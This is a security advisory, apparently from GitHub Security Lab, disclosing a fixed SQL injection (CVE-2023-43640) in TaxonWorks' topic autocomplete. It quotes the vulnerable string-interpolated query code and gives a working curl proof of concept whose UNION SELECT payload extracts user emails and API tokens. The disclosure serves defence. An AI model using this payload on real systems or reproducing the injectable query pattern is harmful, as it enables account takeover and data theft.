Coordinated Disclosure Timeline
- 2023-06-27: Vulnerability was reported via GitHub’s private vulnerability reporting feature.
- 2023-06-29: Fix was implemented by the maintainers.
- 2023-08-04: Fixed version of TaxonWorks was released with v0.34.0.
- 2023-09-22: Security advisory was published by the maintainers of TaxonWorks.
Summary
A SQL injection vulnerability was found in TaxonWorks that allowed authenticated attackers to extract arbitrary data from the TaxonWorks database (including the user table).
Product
TaxonWorks
Tested Version
Details
SQL injection (GHSL-2023-140
)
The autocomplete function of TaxonWorks’ TopicController was susceptible to a SQL injection vulnerability. The user-controlled term
parameter was passed into a string that is used to construct a WHERE clause of a SQL query:
term = "#{params[:term]}%"
where_string = "name LIKE '#{term}' OR name ILIKE '%#{term}' OR name = '#{term}' OR definition ILIKE '%#{term}'"
ControlledVocabularyTerm.where(where_string).where(project_id: params[:project_id], type: 'Topic')
The user-controlled params
are passed through from the TopicsController:
def lookup_topic
@topics = Topic.find_for_autocomplete(params.merge(project_id: sessions_current_project_id))
This vulnerability was found using a CodeQL query which identifies SQL queries built from user-controlled sources.
Proof of concept
The SQL injection vulnerability can be exploited using this SQL injection payload:
curl -i "<host>/topics/lookup_topic?term=%27%29%20OR%20%241%21%3D0%20OR%20%242%21%3D%27%27%20UNION%20SELECT%20id%2C%27Topic%27%2Cemail%2Capi%5Faccess%5Ftoken%2Cnull%2Cnull%2C0%2C0%2C0%2C%27%27%2C%27%27%2C%27%27%2C0%20FROM%20users%20%2D%2D%20" -b $'remember_token=<remember-token>; _TaxonWorks_session=<session-cookie>'
(Hint: replace the remember-token
header and the session-cookie
cookie with the values of an authenticated user.)
The decoded SQL injection string looks like this:
') OR $1!=0 OR $2!='' UNION SELECT id,'Topic',email,api_access_token,null,null,0,0,0,'','','',0 FROM users --
Notes regarding the exploit:
- The placeholder variables
$1
,$2
are part of the exploit so that the parameterized values forproject_id
andTopic
are used as part of the full query and no error occurs. - The
Topic
string is used so that ActiveRecord resolves the right data type. (Alternatively,$2
could have been used in this case) - All unused data fields in this UNION SELECT statement are set to the default values of their respective types.
Using this exploit the exfiltrated data might look like this:
[
{
"label": "test-label",
"object_id": 1,
"definition": "test-def"
},
{
"label": "user@example.com",
"object_id": 2,
"definition": null
},
{
"label": "admin@example.com",
"object_id": 1,
"definition": "FDo0TfsnbBER4tNRUQ00bg"
}
]
The first entry in the JSON array is an actual topic we created for testing. The next two entries are the user registered in the system (label
is mapped to email
, object_id
is mapped to user id
, and definition
is mapped to api_access_token
). E.g. this API access token allows an attacker to use the TaxonWorks API as an authenticated API user.
Impact
This issue may lead to Information Disclosure.
CVE
- CVE-2023-43640
Credit
This issue was discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-140
in any communication regarding this issue.